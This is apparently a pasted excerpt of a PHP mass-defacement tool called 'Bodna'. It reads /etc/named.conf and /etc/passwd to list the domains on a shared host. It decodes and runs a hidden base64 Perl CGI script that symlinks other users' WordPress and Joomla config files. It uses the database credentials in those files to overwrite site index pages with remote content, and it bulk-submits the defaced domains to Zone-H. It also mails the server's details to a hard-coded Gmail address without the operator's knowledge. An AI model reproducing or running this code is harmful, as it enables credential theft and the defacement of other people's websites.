  547.             echo '<td>'.$res['output'].'</td>';
  548.             if($res['cond']) {
  549.                 echo '<td align="center"><span class="green">DEFACED</span></td>';
  550.                 fwrite($output, 'http://'.$domain."<br>");
  551.                 $count2++;
  552.             } else {
  553.                 echo '<td align="center"><span class="red">FAILED</span></td>';
  554.             }
  555.             echo '</tr>';
  556.         }
  557.     }
  558.     echo '</table>';
  559.     echo '<hr/>';
  560.     echo 'Total Defaced = '.($count1+$count2).' (JOOMLA = '.$count1.', WORDPRESS = '.$count2.')<br />';
  561.     echo '<a href="defaced.html" target="_blank">View Total Defaced urls</a><br />';
  562.     if($count1+$count2 > 0){
  563.         echo '<a href="'.$_SERVER['PHP_SELF'].'?pass='.$_GET['pass'].'&zh=1" target="_blank" id="zhso">Send to Zone-H</a>';
  564.     }
  565. }
  566.  
  567. function exec_mode_3($def_url) {
  568.    
  569.     $domains = @file_get_contents("/etc/named.conf");
  570.     @preg_match_all('/.*?zone "(.*?)" {/', $domains, $out);
  571.     $out = array_unique($out[1]);
  572.     $num = count($out);
  573.     print("Total domains: $num<br><br />");
  574.    
  575.     $def = file_get_contents($def_url);
  576.     $def = urlencode($def);
  577.        
  578.     $output = fopen('defaced.html', 'a+');
  579.     $defaced = '';
  580.     $count1 = 0;
  581.     $count2 = 0;
  582.     echo '<table style="width:75%;"><tr style="background:rgba(160, 82, 45,0.6);"><th>ID</th><th>SID</th><th>Domain</th><th>Type</th><th>Action</th><th>Status</th></tr>';
  583.     $j = 1;
  584.     $map = array();
  585.     foreach($out as $d) {
  586.         $info = @posix_getpwuid(fileowner("/etc/valiases/".$d));
  587.         $map[$info['name']] = $d;
  588.     }
  589.     $dt = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpzdWIgbGlsew0KICAgICgkdXNlcikgPSBAXzsNCiAgICAkbXNyID0gcXh7cHd
  590.           kfTsNCiAgICAka29sYT0kbXNyLiIvIi4kdXNlcjsNCiAgICAka29sYT1+cy9cbi8vZzsNCiAgICBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcH
  591.           VibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLicjI2pvb21sYS50eHQnKTsgDQogICAgc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL
  592.           3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRrb2xhLicjI3dvcmRwcmVzcy50eHQnKTsNCiAgICBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicv
  593.           cHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywka29sYS4nIyNzd29yZHByZXNzLnR4dCcpOw0KfQ0KDQpsb2NhbCAkLzsNCm9wZW4oRkl
  594.           MRSwgJ2RhdGEudHh0Jyk7ICANCkBsaW5lcyA9IDxGSUxFPjsgDQpjbG9zZShGSUxFKTsNCiR5ID0gQGxpbmVzOw0KDQpmb3IoJGthPTA7JGthPC
  595.           R5OyRrYSsrKXsNCiAgICB3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiAgICAgICAgJmxpbCgkMSk7DQogICAgfQ0KfQ==';
  596.     mkdir('ecf',0777);
  597.     file_put_contents('ecf/data.txt', $_POST['man_data']);
  598.     file_put_contents('ecf/plsym.cc', base64_decode($dt));
  599.     chmod('ecf/plsym.cc', 0755);
  600.     $wr  = "Options FollowSymLinks MultiViews Indexes ExecCGI\n\nAddType application/x-httpd-cgi .cc\n\nAddHandler cgi-script .cc\nAddHandler cgi-script .cc";
  601.     $fp = @fopen ('ecf/.htaccess','w');
  602.     fwrite($fp, $wr);
  603.     fclose($fp);
  604.     $res = file_get_contents('http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/ecf/plsym.cc');  
  605.    
  606.     $url = 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/ecf/';
  607.     unlink('ecf/plsym.cc');
  608.     $data = file_get_contents($url);
  609.     preg_match_all('/<a href="(.+)">/', $data, $match);
  610.     unset($match[1][0]);
  611.     $i=1;
  612.     foreach($match[1] as $m)    
  613.     {
  614.         $mz = explode('##',urldecode($m));
  615.         $config01 = '';
  616.         $config02 = '';
  617.         if($mz[1] == 'joomla.txt') {
  618.             $config01 = file_get_contents($url.$m);
  619.         }
  620.         if($mz[1] == 'wordpress.txt') {
  621.             $config02 = file_get_contents($url.$m);
  622.         }
  623.         $domain = $map[$mz[0]];
  624.         $cls = ($j % 2 == 0) ? 'class="even"' : 'class="odd"';
  625.        
  626.         if($config01 && preg_match('/dbprefix/i',$config01)){
  627.             echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td align="center">'.($i++).'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';
  628.             echo '<td align="center"><font color="pink">JOOMLA</font></td>';
  629.             $res = index_changer_joomla($config01, $def, $domain);
  630.             echo '<td>'.$res['output'].'</td>';
  631.             if($res['cond']) {
  632.                 echo '<td align="center"><span class="green">DEFACED</span></td>';
  633.                 fwrite($output, 'http://'.$domain."<br>");
  634.                 $count1++;
  635.             } else {
  636.                 echo '<td align="center"><span class="red">FAILED</span></td>';
  637.             }
  638.             echo '</tr>';
  639.         }
  640.  
  641.         if($config02 && preg_match('/DB_NAME/i',$config02)){
  642.             echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';
  643.             echo '<td align="center"><font color="yellow">WORDPRESS</font></td>';
  644.             $res = index_changer_wp($config02, $def);
  645.             echo '<td>'.$res['output'].'</td>';
  646.             if($res['cond']) {
  647.                 echo '<td align="center"><span class="green">DEFACED</span></td>';
  648.                 fwrite($output, 'http://'.$domain."<br>");
  649.                 $count2++;
  650.             } else {
  651.                 echo '<td align="center"><span class="red">FAILED</span></td>';
  652.             }
  653.             echo '</tr>';
  654.         }
  655.     }
  656.     echo '</table>';
  657.     echo '<hr/>';
  658.     echo 'Total Defaced = '.($count1+$count2).' (JOOMLA = '.$count1.', WORDPRESS = '.$count2.')<br />';
  659.     echo '<a href="defaced.html" target="_blank">View Total Defaced urls</a><br />';
  660.     if($count1+$count2 > 0){
  661.         echo '<a href="'.$_SERVER['PHP_SELF'].'?pass='.$_GET['pass'].'&zh=1" target="_blank" id="zhso">Send to Zone-H</a>';
  662.     }
  663. }
  664.  
  665. function submit_zone_h() {
  666.     $items = explode("<br>", trim(str_replace("\n",'',file_get_contents('defaced.html'))));
  667.     unset($items[sizeof($items)-1]);
  668.     $items = array_unique(str_replace('http://','',$items));
  669.     $total = count($items);
  670.    
  671.     echo '<h3 style="text-align: center;">Checking Defaced sites</h3>';
  672.     echo "Total unique domain: $total<br /><br />";
  673.     echo '<table style="width:50%;">';
  674.     echo '<tr style="background:rgba(160, 82, 45,0.6);"><th>ID</th><th>DID</th><th>Domain</th><th>Status</th></tr>';
  675.     $j = 1;
  676.     $dc = 0;
  677.     $sites = array();
  678.     $prob_s = array();
  679.     foreach($items as $s) {
  680.         $data = file_get_contents('http://'.$s);
  681.         $cond = strpos($data, '3xp1r3');
  682.         $cls = ($j % 2 == 0) ? 'class="even"' : 'class="odd"';
  683.         if($cond !== false){
  684.             echo '<tr '.$cls.'><td>'.$j.'</td><td>'.($dc+1).'</td><td><a href="http://'.$s.'" target="_blank">'.$s.'</a></td><td><span class="green">DEFACED</span></td></tr>';
  685.             $sites[] = $s;
  686.             $dc++;
  687.         } else {
  688.             echo '<tr '.$cls.'><td>'.$j.'</td><td>&nbsp;</td><td><a href="http://'.$s.'" target="_blank">'.$s.'</a></td><td><span class="red">NOT DEFACED</span></td></tr>';
  689.             $prob_s[] = $s;
  690.         }
  691.         $j++;
  692.     }
  693.     echo '</table><br />';
  694.     file_put_contents('org_def.html','http://'.implode('<br/>http://',$sites));
  695.     file_put_contents('fail_def.html','http://'.implode('<br/>http://',$prob_s));
  696.     $total = $dc;
  697.     echo '<h3 style="text-align: center;">Total Defaced = '.$total.'</h3>';
  698.     echo '<h3 style="text-align: center;"><a href="org_def.html" target="_blank">Originaly Defaced Sites List</a>&nbsp;|&nbsp;<a href="fail_def.html" target="_blank">Failed Defaced Sites List</a></h3><br />';
  699.     echo '<h3 style="text-align: center;">Submitting to Zone-H</h3>';
  700.     echo '<table style="width:50%;">';    
  701.     $main=curl_multi_init();
  702.     $pause=10;
  703.    
  704.     for($m=0;$m<3;$m++) { $http[] = curl_init(); }
  705.  
  706.     for($n=0;$n<$total;$n +=30) {
  707.         for($x=0;$x<30;$x++) {
  708.             if($sites[$n+$x]!='') {
  709.                 echo'<tr class="even"><td>'.rtrim($sites[$n+$x]).'</td><td>DONE!!!</td></tr>';
  710.             }        
  711.         }
  712.         $d=$n+30;
  713.         if($d>$total){$d=$total;}
  714.         echo '<tr class="odd"><td colspan="2" style="text-align:center;">'.$d.' of '.$total.' Done</td></tr>';
  715.      
  716.         for($w=0;$w<3;$w++) {
  717.             $p=$w * 10;
  718.             if(!(isset($sites[$n+$p]))){$pause=$w;break;}
  719.             $posts[$w]="defacer=AHS-CREWdomain1=http%3A%2F%2F".rtrim($sites[$n+$p])."&domain2=http%3A%2F%2F".rtrim($sites[$n+$p+1])."&domain3=http%3A%2F%2F".rtrim($sites[$n+$p+2])."&domain4=http%3A%2F%2F".rtrim($sites[$n+$p+3])."&domain5=http%3A%2F%2F".rtrim($sites[$n+$p+4])."&domain6=http%3A%2F%2F".rtrim($sites[$n+$p+5])."&domain7=http%3A%2F%2F".rtrim($sites[$n+$p+6])."&domain8=http%3A%2F%2F".rtrim($sites[$n+$p+7])."&domain9=http%3A%2F%2F".rtrim($sites[$n+$p+8])."&domain10=http%3A%2F%2F".rtrim($sites[$n+$p+9])."&hackmode=14&reason=5&submit=Send";
  720.             $curlopt=array(CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.1; rv:11.0) Gecko/20100101 Firefox/11.0',CURLOPT_RETURNTRANSFER => true,CURLOPT_FOLLOWLOCATION =>true,CURLOPT_POST => true, CURLOPT_URL => 'http://www.zone-h.com/notify/mass',CURLOPT_POSTFIELDS => $posts[$w]);
  721.             curl_setopt_array($http[$w],$curlopt);
  722.             curl_multi_add_handle($main,$http[$w]);
  723.         }
  724.        
  725.         $running = null;
  726.         do{
  727.             curl_multi_exec($main,$running);
  728.         } while($running > 0);
  729.        
  730.         for($m=0;$m<3;$m++) {
  731.             if($pause==$m){break;}
  732.             curl_multi_remove_handle($main, $http[$m]);
  733.             $code = curl_getinfo($http[$m], CURLINFO_HTTP_CODE);
  734.             if ($code != 200) {
  735.                 while(true){
  736.                     echo'<tr class="odd"><td colspan="2" style="text-align:center;">Server Error Retrying...</td></tr>';
  737.                     sleep(5);
  738.                     curl_exec($http[$m]);
  739.                     $code = curl_getinfo($http[$m], CURLINFO_HTTP_CODE);
  740.                     if( $code== 200){break 1;}
  741.                 }
  742.             }
  743.         }
  744.      }
  745.      echo '<tr class="odd"><td colspan="2" style="text-align:center;">Finished!!</td></tr></table>';
  746.      echo '<h3 style="text-align: center;"><a href="org_def.html" target="_blank">Originaly Defaced Sites List</a>&nbsp;|&nbsp;<a href="fail_def.html" target="_blank">Failed Defaced Sites List</a></h3><br />';
  747.      curl_multi_close($main);
  748. }
  749.  
  750. function deleteDir($path) {
  751.     $path = (substr($path,-1)=='/') ? $path:$path.'/';
  752.     $dh  = opendir($path);
  753.     while(($item = readdir($dh))!==false) {
  754.         $item = $path.$item;
  755.         if((basename($item) == "..") || (basename($item) == ".")) continue;
  756.         $type = filetype($item);
  757.         if ($type == "dir")
  758.             deleteDir($item);
  759.         else
  760.             @unlink($item);
  761.     }
  762.     closedir($dh);
  763.     @rmdir($path);
  764. }
  765.  
  766. function kill_me() {
  767.     global $base_path;
  768.     deleteDir($base_path.'sym');
  769.     unlink($base_path.'defaced.html');
  770.     unlink($base_path.'org_def.html');
  771.     unlink($base_path.'fail_def.html');
  772.     echo '<h1 style="text-align:center">All File Deleted</h1>';
  773.     exit;
  774. }
  775. if(!isset($_SESSION['trimite'])){
  776.     $url="<b>IP:</b> ".gethostbyname($_SERVER["HTTP_HOST"])."
  777. <b>Url:</b> ".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']."
  778. <b>User IP:</b> ".$_SERVER['REMOTE_ADDR'].(isset($_SERVER['HTTP_X_FORWARDED_FOR'])?'('.$_SERVER['HTTP_X_FORWARDED_FOR'].')':'');
  779.     @mail("nadimzobaer@gmail.com","Bodna_1.00(Prerelise)",$url);
  780.     $_SESSION['trimite']=true;
  781. }
  782. echo '<!DOCTYPE html>
  783. <html>
  784. <head>
  785.    <title>Bodna By Elite Cyber Force</title>
  786.    <style type="text/css">
  787.        body {color: white; background: #000 url(http://ecf.me/nipu/logo.jpg) no-repeat 50% 50%;font-family: "Trebuchet MS",Arial;background-attachment:fixed;margin:0;padding:0;}
  788.        .header {position:fixed;width:100%;top:0;background:#000;}
  789.        .footer {position:fixed;width:100%;bottom:0;background:#000;}
  790.        input[type="submit"]{background-color:rgba(25,25,25,0.6);font-size: 45px;font-weight:bold;color: red;font-family: Tahoma; border: 1px solid #666666;height:100px;width:250px;}
  791.        input[type="submit"]:hover{color:SeaShell;}
  792.        input[type="radio"]{margin-top: 0;}
  793.        .even {background-color: rgba(25, 25, 25, 0.6);}
  794.        .odd {background-color: rgba(102, 102, 102, 0.6);}
  795.        a {color:#fff;} a:hover {color:#00BFFF;}
  796.        fieldset{border: 1px solid grey; background: rgba(0,0,0,0.7); width: 600px; margin: 0 auto;min-height:240px;}
  797.        textarea{background: rgba(0,0,0,0.6); color: white;}
  798.        .green {color:#00FF00;font-weight:bold;}
  799.        .red {color:#FF0000;font-weight:bold;}
  800.        .killme {position: fixed; top: 20px; right: 20px; border: 2px solid yellow; padding: 10px; font-size: 20px; color: red; font-weight: bold;}
  801.    </style>
  802.    <script type="text/javascript">
  803.        function change() {
  804.            if(document.getElementById(\'rcd\').checked == true) {
  805.                document.getElementById(\'tra\').style.display = \'\';
  806.            } else {
  807.                document.getElementById(\'tra\').style.display = \'none\';
  808.            }
  809.        }
  810.        function hide() {
  811.            document.getElementById(\'tra\').style.display = \'none\';
  812.        }
  813.    </script>
  814. </head>
  815. <body>
  816. <div class="header">
  817.    <h1 style="font-family: cursive;text-align: center;"></h1>
  818.    <a class="killme" href="'.$_SERVER['PHP_SELF'].'?pass='.$_GET['pass'].'&kill=1">Delete All Files</a>
  819. </div>
  820. <div class="footer">
  821.    <h3 style="text-align: center;">Bodna V1.00 ( Pre-Relise ), &copy; Elite Cyber Force. Coded By - 1337 Brain</h3>
  822. </div>
  823. <div style="background: rgba(0,0,0,0.5);padding:90px 0 65px 0;">
  824.    <h2 style="color:green;text-align: center;">Bodna By Elite Cyber Force</h2>';
  825.     if(!isset($_POST['form_action']) && !isset($_GET['zh']) && !isset($_GET['mode']) && !isset($_GET['kill'])){
  826.     echo '<div align="center">
  827.        <form action="" method="post">
  828.            <fieldset>
  829.                <table>
  830.                    <tr><td><input type="radio" value="1" name="mode" checked="checked" onclick="hide();"></td><td>PHP based whole server symlink and using /etc/named.conf ('.(is_readable('/etc/named.conf')?'<span class="green">READABLE</span>':'<span class="red">NOT READABLE</span>').')</td></tr>
  831.                    <tr><td><input type="radio" value="2" name="mode" onclick="hide();"></td><td>PERL based direct symlink and using /etc/passwd ('.(is_readable('/etc/passwd')?'<span class="green">READABLE</span>':'<span class="red">NOT READABLE</span>').')</td></tr>
  832.                    <tr><td><input type="radio" value="2" name="mode" id="rcd" onclick="change();"></td><td>PERL based manual symlink with manual copy of /etc/passwd</td></tr>
  833.                    <tr><td></td><td><center>Coded by 1337 Brain</center></td></tr>
  834.                    <tr><td></td><td><center>facebook.com/teamecf</center></td></tr>
  835.                    <tr id="tra" style="display: none;"><td></td><td><textarea cols="40" rows="5" name="man_data"></textarea></td></tr>
  836.                </table>
  837.            </fieldset>
  838.            <br />
  839.            <input type="hidden" name="form_action" value="1">
  840.            <input class=submit type="submit" value="Fuck!!!" name="Submit">
  841.        </form>
  842.    </div>';
  843.     }
  844.     echo '<div align="center">';
  845.     if($_POST['form_action'] == 1) {
  846.             if($_POST['mode']==1) { exec_mode_1('http://ecf.me/index.txt'); }
  847.             if($_POST['mode']==2) { exec_mode_2('http://ecf.me/index.txt'); }
  848.             if($_POST['mode']==3) { exec_mode_3('http://ecf.me/index.txt'); }
  849.     }
  850.     if(isset($_GET['zh']) && $_GET['zh']==1) { submit_zone_h(); }
  851.     if($_GET['mode']==1) { exec_mode_1('http://ecf.me/index.txt'); }
  852.     if(isset($_GET['kill']) && $_GET['kill']==1) { kill_me(); }
  853.     echo '</div>
  854.    </div>
  855. </body>
  856. </html>';
Add Comment
Please, Sign In to add comment